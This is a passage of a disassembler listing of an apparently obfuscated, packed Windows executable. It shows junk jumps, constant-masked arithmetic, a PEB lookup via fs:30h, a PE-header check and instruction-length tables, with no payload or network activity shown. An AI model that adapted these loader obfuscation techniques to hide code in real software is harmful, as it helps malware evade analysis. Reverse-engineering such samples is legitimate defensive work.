sub_424D63 endp ; --------------------------------------------------------------------------- push eax rol eax, 1Ch mov ds:dword_42F084, eax retn ; --------------------------------------------------------------------------- loc_424D84: ; CODE XREF: wto1jq8f:0042DD0Ej jmp sub_429165 ; --------------------------------------------------------------------------- loc_424D89: ; CODE XREF: wto1jq8f:0042E9B2j ror eax, 1Ch push edx mov [esp], eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_424D91: ; CODE XREF: sub_42F6A9:loc_42A7FEj add eax, 4 loc_424D94: ; CODE XREF: sub_426842:loc_429700j mov edi, [eax] add eax, 4 mov esi, [eax] jmp loc_42D51B ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; =============== S U B R O U T I N E ======================================= sub_424DA0 proc near ; CODE XREF: sub_42AF82+9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00425BFD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042AB46 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C8C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F1AD SIZE 0000001D BYTES mov [esp+0], ecx mov esp, ebp pop ebp call sub_426166 loc_424DAB: ; CODE XREF: wto1jq8f:0042A675j ; sub_42F067+6p mov [esp-4+arg_0], eax pop eax loc_424DAF: ; CODE XREF: wto1jq8f:0042BDCEj pop eax push eax push eax jmp loc_425BFD sub_424DA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_424DB7: ; CODE XREF: sub_424309:loc_42694Bj push eax mov eax, esp ; END OF FUNCTION CHUNK FOR sub_424309 ; START OF FUNCTION CHUNK FOR sub_42F614 loc_424DBA: ; CODE XREF: sub_42F614-5FBFj push 0 mov edx, esp push eax mov eax, edx xchg eax, [esp+0] jmp loc_42679C ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- sbb edi, 0B99617ABh jmp sub_4292B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_424DD4: ; CODE XREF: sub_428A19:loc_42CAE4j add eax, 1C6061AEh mov eax, [eax] popf loc_424DDD: ; CODE XREF: sub_426719:loc_42B97Aj call sub_4293FF ; END OF FUNCTION CHUNK FOR sub_428A19 ; START OF FUNCTION CHUNK FOR sub_42B2A8 loc_424DE2: ; CODE XREF: sub_42B2A8+17j jmp loc_424B52 ; END OF FUNCTION CHUNK FOR sub_42B2A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C0C loc_424DE7: ; CODE XREF: sub_428C0C+Aj jmp loc_424EDF ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262CE loc_424DEC: ; CODE XREF: sub_4262CE+9AEEj jz loc_429363 jmp loc_42C9F7 ; END OF FUNCTION CHUNK FOR sub_4262CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_424DF7: ; CODE XREF: sub_42A0E5-528Dj jge loc_426527 ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; START OF FUNCTION CHUNK FOR sub_4240DC loc_424DFD: ; CODE XREF: sub_4240DC+B65Cj jmp loc_42D0D8 ; END OF FUNCTION CHUNK FOR sub_4240DC ; --------------------------------------------------------------------------- popf jmp loc_42651E ; --------------------------------------------------------------------------- loc_424E08: ; CODE XREF: wto1jq8f:00427546j jns nullsub_148 ; =============== S U B R O U T I N E ======================================= sub_424E0E proc near ; CODE XREF: sub_424B47+6p xchg edx, [esp+0] pop edx mov ds:dword_42E528, eax jmp nullsub_219 sub_424E0E endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C0C loc_424E1E: ; CODE XREF: sub_426C0C+Ej jmp loc_426A67 ; END OF FUNCTION CHUNK FOR sub_426C0C ; --------------------------------------------------------------------------- push 0F6977AA5h jmp sub_42A5C4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BEF6 loc_424E2D: ; CODE XREF: sub_42BEF6-7368j ; wto1jq8f:loc_42BD4Aj pop eax pop ebx pop edx pop ecx pop ebp jmp loc_428B27 ; END OF FUNCTION CHUNK FOR sub_42BEF6 ; --------------------------------------------------------------------------- call sub_42DA35 ; START OF FUNCTION CHUNK FOR sub_4244EA loc_424E3C: ; CODE XREF: sub_4244EA+8AD9j jmp loc_427CB8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; --------------------------------------------------------------------------- locret_424E41: ; CODE XREF: wto1jq8f:00426B83j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427A9E loc_424E42: ; CODE XREF: sub_427A9E+480Fj jmp loc_424C3D ; END OF FUNCTION CHUNK FOR sub_427A9E ; --------------------------------------------------------------------------- cmp esi, 2966A957h jmp loc_4244E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A0E5 loc_424E52: ; CODE XREF: sub_42A0E5+11j cmp ebx, 0BE0D82AEh jmp loc_424DF7 ; END OF FUNCTION CHUNK FOR sub_42A0E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424E5D: ; CODE XREF: sub_429471+465Aj sub esi, 1FF44236h add ebp, 0E51CF9F4h jmp loc_426615 ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F614 loc_424E6E: ; CODE XREF: sub_42F614-D8Bj jle loc_429F23 adc edi, ecx jmp loc_42BB4E ; END OF FUNCTION CHUNK FOR sub_42F614 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4284EC loc_424E7B: ; CODE XREF: sub_4284EC:loc_42ACCAj push 0D45DEBE0h pop edx add edx, 900248Fh push eax pushf push 13A91888h jmp loc_42B599 ; END OF FUNCTION CHUNK FOR sub_4284EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E833 loc_424E93: ; CODE XREF: sub_42E833:loc_42E838j push edi push 0ECD5198Bh pop edi add edi, 136D69D1h xchg edi, [esp+4+var_4] jmp sub_428183 ; END OF FUNCTION CHUNK FOR sub_42E833 ; --------------------------------------------------------------------------- loc_424EA8: ; CODE XREF: wto1jq8f:00426DC0j jz loc_42664B jmp loc_428E58 ; --------------------------------------------------------------------------- loc_424EB3: ; CODE XREF: wto1jq8f:0042ED93j or eax, edx mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] ; START OF FUNCTION CHUNK FOR sub_426806 loc_424EBE: ; CODE XREF: sub_426806:loc_425933j and eax, 0FFh jmp loc_42EE90 ; END OF FUNCTION CHUNK FOR sub_426806 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_123. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424EC9: ; CODE XREF: sub_426968+78AAj jmp nullsub_129 ; END OF FUNCTION CHUNK FOR sub_426968 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42F6A9 loc_424ECE: ; CODE XREF: sub_42F6A9-3306j jmp loc_42DD69 ; END OF FUNCTION CHUNK FOR sub_42F6A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424ED3: ; CODE XREF: sub_426968+22C2j shl eax, 3 add [ebp-8], eax mov eax, [ebp-8] shr eax, 0Bh ; END OF FUNCTION CHUNK FOR sub_426968 ; START OF FUNCTION CHUNK FOR sub_428C0C loc_424EDF: ; CODE XREF: sub_428C0C:loc_424DE7j xor [ebp-8], eax loc_424EE2: ; CODE XREF: wto1jq8f:0042FE8Ej jmp loc_4259DD ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- loc_424EE7: ; CODE XREF: wto1jq8f:00424271j popf mov edi, 785A29F6h loc_424EED: ; CODE XREF: wto1jq8f:loc_42CE1Cj mov eax, [ebp-4] cmp dword ptr [eax+3Ch], 0 jz loc_42F5A8 jmp loc_427B8A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429165 loc_424EFF: ; CODE XREF: sub_429165+2A70j xor eax, eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jz loc_4250CA call sub_427A9E jmp loc_42A1C7 ; END OF FUNCTION CHUNK FOR sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E5B loc_424F18: ; CODE XREF: sub_429E5B+Bj call sub_42660F locret_424F1D: ; CODE XREF: sub_42708B+8290j retn ; END OF FUNCTION CHUNK FOR sub_429E5B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244EA loc_424F1E: ; CODE XREF: sub_4244EA+59AAj jmp loc_42D7A8 ; END OF FUNCTION CHUNK FOR sub_4244EA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F23 proc near ; CODE XREF: sub_42708B+627Cp ; sub_42DF80+3j var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426392 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004269E5 SIZE 00000005 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF4h mov [ebp+var_8], eax jmp loc_426392 sub_424F23 endp ; =============== S U B R O U T I N E ======================================= sub_424F31 proc near ; DATA XREF: sub_42C88D+Fo ; FUNCTION CHUNK AT 0042EBEA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ECD7 SIZE 0000001F BYTES call sub_429165 call sub_424585 mov edx, 0F2B89A19h call sub_429165 push ebx jmp loc_42ECD7 sub_424F31 endp ; --------------------------------------------------------------------------- pop ecx jmp sub_42A3DA ; --------------------------------------------------------------------------- loc_424F51: ; CODE XREF: wto1jq8f:0042A8C9j sbb edx, 7F561988h xchg edi, edx add edx, 8CB9B1C0h loc_424F5F: ; CODE XREF: wto1jq8f:loc_425AF9j mov eax, [ebp-4] xor edx, edx jmp loc_426266 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_223. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424F6A proc near ; CODE XREF: wto1jq8f:004279C7j ; wto1jq8f:0042F7C3p xchg ecx, [esp+0] pop ecx mov ds:dword_42905C, eax retn sub_424F6A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429D2E loc_424F75: ; CODE XREF: sub_429D2E+10j jmp loc_42EAB5 ; END OF FUNCTION CHUNK FOR sub_429D2E ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424F7A proc near ; CODE XREF: sub_42B855j var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 00425BF3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042755A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427840 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004280B2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042837A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042CA31 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0042D093 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0042D3E8 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042D91B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E99D SIZE 00000013 BYTES push ebp mov ebp, esp push ecx jmp loc_42755A sub_424F7A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_424F83 proc near ; CODE XREF: sub_42F81B:loc_42B96Bp ; wto1jq8f:0042F8FAj ; FUNCTION CHUNK AT 004290B8 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx ror eax, 19h push eax jmp loc_4290B8 sub_424F83 endp ; --------------------------------------------------------------------------- loc_424F90: ; CODE XREF: wto1jq8f:004245EFj and ecx, 51A02D04h mov edi, ecx jmp loc_4264DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED01 loc_424F9D: ; CODE XREF: sub_42ED01+12j jz nullsub_15 jmp loc_42DFF7 ; END OF FUNCTION CHUNK FOR sub_42ED01 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FFBA loc_424FA8: ; CODE XREF: sub_42FFBA-BEB4j jg loc_42D47E jmp loc_42910D ; END OF FUNCTION CHUNK FOR sub_42FFBA ; --------------------------------------------------------------------------- loc_424FB3: ; DATA XREF: sub_424702+9A51o mov eax, [eax] add eax, [ebp-4] add eax, 5 cmp eax, ds:dword_42A748 jz loc_4245A1 ; START OF FUNCTION CHUNK FOR sub_424232 loc_424FC7: ; CODE XREF: sub_424232+4j ; sub_424702+4j call sub_425944 ; END OF FUNCTION CHUNK FOR sub_424232 ; START OF FUNCTION CHUNK FOR sub_429D2E loc_424FCC: ; CODE XREF: sub_429D2E-1001j jmp loc_42FEB8 ; END OF FUNCTION CHUNK FOR sub_429D2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426968 loc_424FD1: ; CODE XREF: sub_426968:loc_426129j mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42E3EA ; END OF FUNCTION CHUNK FOR sub_426968 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_142. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424FDD: ; CODE XREF: wto1jq8f:00425D80j jmp locret_42600C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_424FE2: ; CODE XREF: sub_429BFF+2634j mov ebx, ebp loc_424FE4: ; CODE XREF: sub_429BFF:loc_42DD22j mov eax, large fs:30h add eax, 0AA6D43A0h add eax, 5592BC6Ch mov eax, [eax] call sub_427203 loc_424FFE: ; DATA XREF: sub_42E83D-222Co xchg esi, [esp+4+var_4] lea eax, [ebp-1C8h] push eax push edi push 99A4AE50h pop edi push offset sub_42F384 jmp nullsub_105 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_425019: ; CODE XREF: sub_42CB49-4662j cdq jmp loc_426CD2 ; END OF FUNCTION CHUNK FOR sub_42CB49 ; --------------------------------------------------------------------------- loc_42501F: ; DATA XREF: sub_42E555+4o mov esp, ebp xchg eax, [esp] mov ebp, eax pop eax call sub_428E81 ; START OF FUNCTION CHUNK FOR sub_42C990 loc_42502C: ; CODE XREF: sub_42C990:loc_4295F9j add eax, 0F24B452Ah push eax push 4C91A0h push offset loc_429CA8 jmp loc_42A960 ; END OF FUNCTION CHUNK FOR sub_42C990 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_425043: ; CODE XREF: sub_426535+1A0Aj jp loc_4263A7 jmp loc_424934 ; --------------------------------------------------------------------------- loc_42504E: ; CODE XREF: sub_426535:loc_42B4E8j cmp dword ptr [ebp-4], 5 jnz loc_424934 lea eax, [ebp-2AAh] cmp dword ptr [eax], 47424454h jz loc_4265DB jmp loc_429603 ; END OF FUNCTION CHUNK FOR sub_426535 ; =============== S U B R O U T I N E ======================================= sub_42506F proc near ; DATA XREF: sub_42DB52:loc_426492o var_10 = dword ptr -10h var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 0042420B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004246C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425CFF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426870 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00426A4A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426C94 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004271AA SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00427911 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427ACA SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042896C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042920C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429AB6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00429FCB SIZE 0000002E BYTES ; FUNCTION CHUNK AT 0042A2EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A843 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042B424 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042B6F9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B7AD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BD14 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042BFA5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042C356 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042C579 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C906 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D5A3 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D7E8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042DFE0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E1F6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042E2BD SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042E3C9 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042EB2A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042F30E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042FCAC SIZE 00000015 BYTES xor eax, eax mov [ebp-8], eax loc_425074: ; CODE XREF: sub_42506F:loc_42C579j ; sub_42D9FC+4j jo loc_42D5A3 push 8697BA5Ah pop eax jmp loc_429AB6 sub_42506F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425085: ; CODE XREF: wto1jq8f:00428DFFj rol edx, 4 add edx, 0A6868104h push offset sub_42FC90 jmp locret_42BA00 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A909 loc_425098: ; CODE XREF: sub_42A909:loc_4285D5j jnz loc_42E823 jmp loc_42C58A ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C486 loc_4250A3: ; CODE XREF: sub_42C486-7EBDj pop esi xchg edi, [ebp+0] jmp loc_42E6AA ; END OF FUNCTION CHUNK FOR sub_42C486 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429E77 loc_4250AC: ; CODE XREF: sub_429E77+C3Cj cmp eax, [ebp-0Ch] ja loc_426EEE loc_4250B5: ; CODE XREF: sub_429E77:loc_42AAA4j cmp dword ptr [ebp-8], 0A22F8A70h jz loc_4250CA mov eax, [ebp-0Ch] call sub_42D765 ; END OF FUNCTION CHUNK FOR sub_429E77 ; START OF FUNCTION CHUNK FOR sub_42658A loc_4250CA: ; CODE XREF: sub_429165-478Bj ; sub_429165-425Dj ... push offset loc_42D50E jmp loc_425A36 ; END OF FUNCTION CHUNK FOR sub_42658A ; =============== S U B R O U T I N E ======================================= sub_4250D4 proc near ; DATA XREF: sub_4296B3+14o ; FUNCTION CHUNK AT 0042AAD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042BE90 SIZE 0000000E BYTES mov eax, [ebp-20h] call sub_42FFDE pop ecx mov [ebp-20h], eax loc_4250E0: ; CODE XREF: sub_42F50F-7B7Dj ; sub_4296B3:loc_4296C0j ... jnz loc_42BE90 test byte ptr [ebp-7], 8 jz loc_42F4DE push offset sub_42BE7E jmp loc_42AAD4 sub_4250D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- add eax, 2FF2FA83h jmp sub_42DA42 ; --------------------------------------------------------------------------- db 0C9h, 13h, 9Ch dword_425108 dd 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h, 40h ; DATA XREF: sub_4244EA+4r ; wto1jq8f:00426887r ... dd 2 dup(1), 4 dup(2), 0C0h, 40h, 2 dup(1), 4 dup(2), 0C0h dd 40h, 2 dup(1), 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 1, 4 dup(2), 0C0h, 40h, 0 dd 401h, 4 dup(2), 0C0h, 40h, 0 dd 23h dup(1), 2 dup(2), 4 dup(0) dd 40h, 42h, 0C0h, 0C2h, 4 dup(1), 10h dup(1E00h), 0C2h dd 42h, 2 dup(0C2h), 0Ch dup(2), 0Ah dup(1), 60h, 5 dup(1) dd 4 dup(8), 4 dup(1), 0C0h, 40h, 6 dup(1), 8 dup(0C0h) dd 8 dup(40h), 2 dup(1C2h), 20h, 1, 2 dup(2), 0C2h, 42h dd 1E0h, 1, 20h, 2 dup(1), 0C0h, 2 dup(1), 4 dup(2), 2 dup(0C0h) dd 2 dup(1), 8 dup(2), 4 dup(1A00h), 4 dup(0C0h), 800h dd 0A00h, 60h, 1A00h, 4 dup(1), 0 dd 1, 2 dup(0) dd 2 dup(1), 2 dup(2), 6 dup(1), 2 dup(2), 9466E9h, 62278A00h dword_425510 dd 2 dd 3 dup(2), 1Ch dup(1), 5 dup(2), 1, 2, 19h dup(1), 10h dup(402h) dd 10h dup(1), 0Bh dup(2), 3 dup(1), 2 dup(2), 1, 3 dup(0C2h) dd 3 dup(2), 7 dup(1), 2 dup(2), 10h dup(0E00h), 10h dup(402h) dd 3 dup(1), 2, 1C2h, 3 dup(2), 3 dup(1), 2, 1C2h, 0Bh dup(2) dd 2 dup(1), 1C2h, 7 dup(2), 5 dup(1), 2, 9 dup(1), 3 dup(2) dd 1, 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2, 1, 2 dup(2) dd 2 dup(1), 2, 2 dup(1), 2 dup(2), 1, 3 dup(2), 1, 2 dd 1, 3 dup(2), 1, 2, 2 dup(1), 3 dup(2), 1, 3 dup(2) dd 1, 8319E9h, 384BE900h, 5C10000h dword_42591C dd 0 ; sub_42F50F+Ew byte_425920 db 0 ; DATA XREF: sub_42A8ED:loc_42442Bw ; sub_42A8ED+10r ... db 0A6h, 85h, 0C1h dword_425924 dd 0B132749Bh, 8D192ED8h ; sub_42A8ED+2A92o db 36h, 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42FE4C loc_42592E: ; CODE XREF: sub_42FE4C+Aj jmp loc_426DD1 ; END OF FUNCTION CHUNK FOR sub_42FE4C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426806 loc_425933: ; CODE XREF: sub_426806+Dj jmp loc_424EBE ; END OF FUNCTION CHUNK FOR sub_426806 ; --------------------------------------------------------------------------- adc ebp, 0D56782D0h push ebx jmp sub_42618A ; =============== S U B R O U T I N E ======================================= sub_425944 proc near ; CODE XREF: wto1jq8f:004240B4j ; sub_424232:loc_424FC7p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h ; FUNCTION CHUNK AT 004245A1 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042617A SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00426ABA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00427046 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00427AF9 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00428FBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429A1D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CBBC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E53C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E563 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042E882 SIZE 00000005 BYTES xchg ebx, [esp-0Ch+arg_8] pop ebx jnz loc_427AF9 mov eax, [ebp-4] call sub_429A28 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_42E882 sub_425944 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425962 proc near ; DATA XREF: sub_427143:loc_42AC78o pop ebp retn sub_425962 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_425964: ; CODE XREF: wto1jq8f:0042759Dj jmp sub_42CB36 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_16. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DECB loc_42596A: ; CODE XREF: sub_42DECB+Cj jmp loc_42D900 ; END OF FUNCTION CHUNK FOR sub_42DECB ; =============== S U B R O U T I N E ======================================= sub_42596F proc near ; CODE XREF: sub_42A197-56D9p ; sub_4282FE:loc_426B5Dp ... ; FUNCTION CHUNK AT 0042846C SIZE 00000006 BYTES js sub_426950 push ebp call sub_42E0FD loc_42597B: ; CODE XREF: sub_426950-565j jmp loc_42846C sub_42596F endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_197. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ED21 loc_425981: ; CODE XREF: sub_42ED21+1j jmp loc_427057 ; END OF FUNCTION CHUNK FOR sub_42ED21 ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: wto1jq8f:0042BDC7j cmp esi, ebp jmp loc_42DE81 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42408D loc_42598D: ; CODE XREF: sub_42408D:loc_428EEFj mov esp, ebp pop ebp push offset loc_42D496 jmp nullsub_54 ; END OF FUNCTION CHUNK FOR sub_42408D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_36. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_42599B: ; CODE XREF: wto1jq8f:0042FF56j jmp locret_429CF6 ; --------------------------------------------------------------------------- loc_4259A0: ; DATA XREF: sub_429B39+9o add eax, 0C292DB07h xchg eax, [esp] jmp loc_42995F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4266B1 loc_4259AE: ; CODE XREF: sub_4266B1:loc_42B1FAj jz loc_425C9C jmp loc_42C470 ; END OF FUNCTION CHUNK FOR sub_4266B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_4259B9: ; CODE XREF: sub_427D82+4j mov esp, ebp pop ebp mov eax, ds:dword_42E538 or eax, eax jnz loc_427A18 jmp loc_42EC34 ; END OF FUNCTION CHUNK FOR sub_427D82 ; --------------------------------------------------------------------------- xor esi, 0D0B9DDBAh shl eax, 4 jmp sub_42D22D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428C0C loc_4259DD: ; CODE XREF: sub_428C0C:loc_424EE2j mov eax, [ebp-8] shl eax, 0Fh add [ebp-8], eax mov eax, [ebp-8] mov esp, ebp pop ebp jmp nullsub_27 ; END OF FUNCTION CHUNK FOR sub_428C0C ; --------------------------------------------------------------------------- shl ecx, 12h jmp sub_427674 ; --------------------------------------------------------------------------- loc_4259F9: ; CODE XREF: wto1jq8f:00426E3Ej and ebx, 3DAE95FBh ; =============== S U B R O U T I N E ======================================= sub_4259FF proc near ; CODE XREF: wto1jq8f:0042C481p arg_10 = dword ptr 14h ; FUNCTION CHUNK AT 0042435E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426B93 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042A545 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx sbb eax, edx pop edx pop ecx pop eax pop ebx jmp loc_42A545 sub_4259FF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_425A0F: ; CODE XREF: sub_424406+4DF5j jmp loc_42EE38 ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- or edi, edx jmp sub_427203 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4272F3 loc_425A1B: ; CODE XREF: sub_4272F3-964j and ecx, 2E0905F5h xor ecx, 2E0005D1h call sub_428333 ; END OF FUNCTION CHUNK FOR sub_4272F3 ; START OF FUNCTION CHUNK FOR sub_42C547 loc_425A2C: ; CODE XREF: sub_42C547+CE1j jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_42C547 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424585 loc_425A31: ; CODE XREF: sub_424585+1D6Bj jmp nullsub_28 ; END OF FUNCTION CHUNK FOR sub_424585 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42658A loc_425A36: ; CODE XREF: sub_42658A-14BBj jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_42658A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D47 loc_425A3B: ; CODE XREF: sub_428D47-4025j jmp loc_427728 ; END OF FUNCTION CHUNK FOR sub_428D47 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_425A40: ; CODE XREF: sub_42606D+14j xor eax, 469E7F15h add eax, ebp add eax, 5287ED67h mov eax, [eax] cmp dword ptr [eax], 4550h jnz loc_42F5A8 jmp loc_4243F6 ; END OF FUNCTION CHUNK FOR sub_42606D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_251. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB49 loc_425A62: ; CODE XREF: sub_42CB49+15j jmp loc_42A78A ; END OF FUNCTION CHUNK FOR sub_42CB49 ; 